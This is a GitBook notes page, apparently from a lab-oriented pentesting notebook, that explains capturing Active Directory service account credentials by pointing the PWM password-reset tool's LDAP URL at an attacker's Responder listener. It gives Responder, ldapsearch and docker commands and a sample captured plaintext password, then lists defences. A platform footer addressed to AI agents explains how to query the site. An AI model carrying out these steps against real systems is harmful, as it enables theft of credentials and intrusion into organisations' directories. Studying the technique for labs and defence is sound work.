> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/active-directory/ldap-credential-capture-via-application-misconfiguration.md).

# LDAP Credential Capture via Application Misconfiguration

### What is LDAP?

LDAP (Lightweight Directory Access Protocol) is how applications talk to Active Directory to verify user logins. When you log into a company portal, the portal asks AD "is this password correct?" using LDAP.

```
User logs in to web app
        ↓
Web app connects to AD via LDAP
        ↓
AD says yes or no
        ↓
User gets access or denied
```

### What is PWM?

PWM is a popular open-source password self-service application. It lets users reset their own AD passwords through a web interface. It connects to AD using a service account stored in its configuration.

### The Attack — Redirect LDAP to Your Listener

If you can access the PWM admin panel and change the LDAP server address, you can point it at your own machine. When PWM tries to connect to "AD", it actually connects to you and sends the service account credentials in plaintext.

```
Normal:
PWM → ldap://dc01.domain.htb → AD (svc_infra authenticates)

Attack:
PWM → ldap://10.10.x.x → Your Responder (captures svc_infra:password)
```

### Step by Step

```bash
# Step 1 — Start Responder to catch LDAP authentication
sudo responder -I tun0

# Step 2 — Access PWM admin console
# Usually at: http://target/pwm/private/config/manager

# Step 3 — Change LDAP URL in config
# From: ldap://dc01.domain.htb:389
# To:   ldap://10.10.x.x:389  (your tun0 IP)

# Step 4 — Save config and trigger a connection test
# PWM will try to bind to your IP

# Step 5 — Responder catches it
# [LDAP] Cleartext Client : 10.x.x.x
# [LDAP] Cleartext Username : svc_infra
# [LDAP] Cleartext Password : Infrapass2024!
```

### Why Does LDAP Send Plaintext?

LDAP Simple Bind authentication sends credentials unencrypted over port 389. Only LDAPS (port 636, with TLS) encrypts the credentials. Most misconfigured apps use plain LDAP.

```bash
# Test if LDAP is unencrypted on a target
nmap -p 389 10.x.x.x --script ldap-search

# Try anonymous LDAP bind (no creds needed)
ldapsearch -x -H ldap://10.x.x.x -b "DC=domain,DC=htb"

# Authenticated LDAP query
ldapsearch -x -H ldap://10.x.x.x \
  -D "svc_infra@domain.htb" \
  -w 'password' \
  -b "DC=domain,DC=htb" \
  "(objectClass=user)" sAMAccountName
```

### Alternative — Entering a Docker Container

If PWM runs in Docker, you can enter it and modify config files directly:

```bash
# List running containers
docker ps

# Enter the PWM container
docker exec -it pwm_container /bin/bash

# Find the config file
find / -name "PwmConfiguration.xml" 2>/dev/null

# Edit the LDAP URL directly
vi /usr/share/pwm/WEB-INF/PwmConfiguration.xml
# Change ldapServerUrls value to your IP
```

### Defence

* Use LDAPS (port 636) instead of plain LDAP — encrypts credentials in transit
* Restrict PWM admin panel access to admin IPs only
* Use strong, unique passwords for LDAP service accounts
* Monitor for LDAP bind attempts to unexpected IPs (Event ID 2889)
* Set `ldapEnforceSecureConnection=true` in PWM config


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/active-directory/ldap-credential-capture-via-application-misconfiguration.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
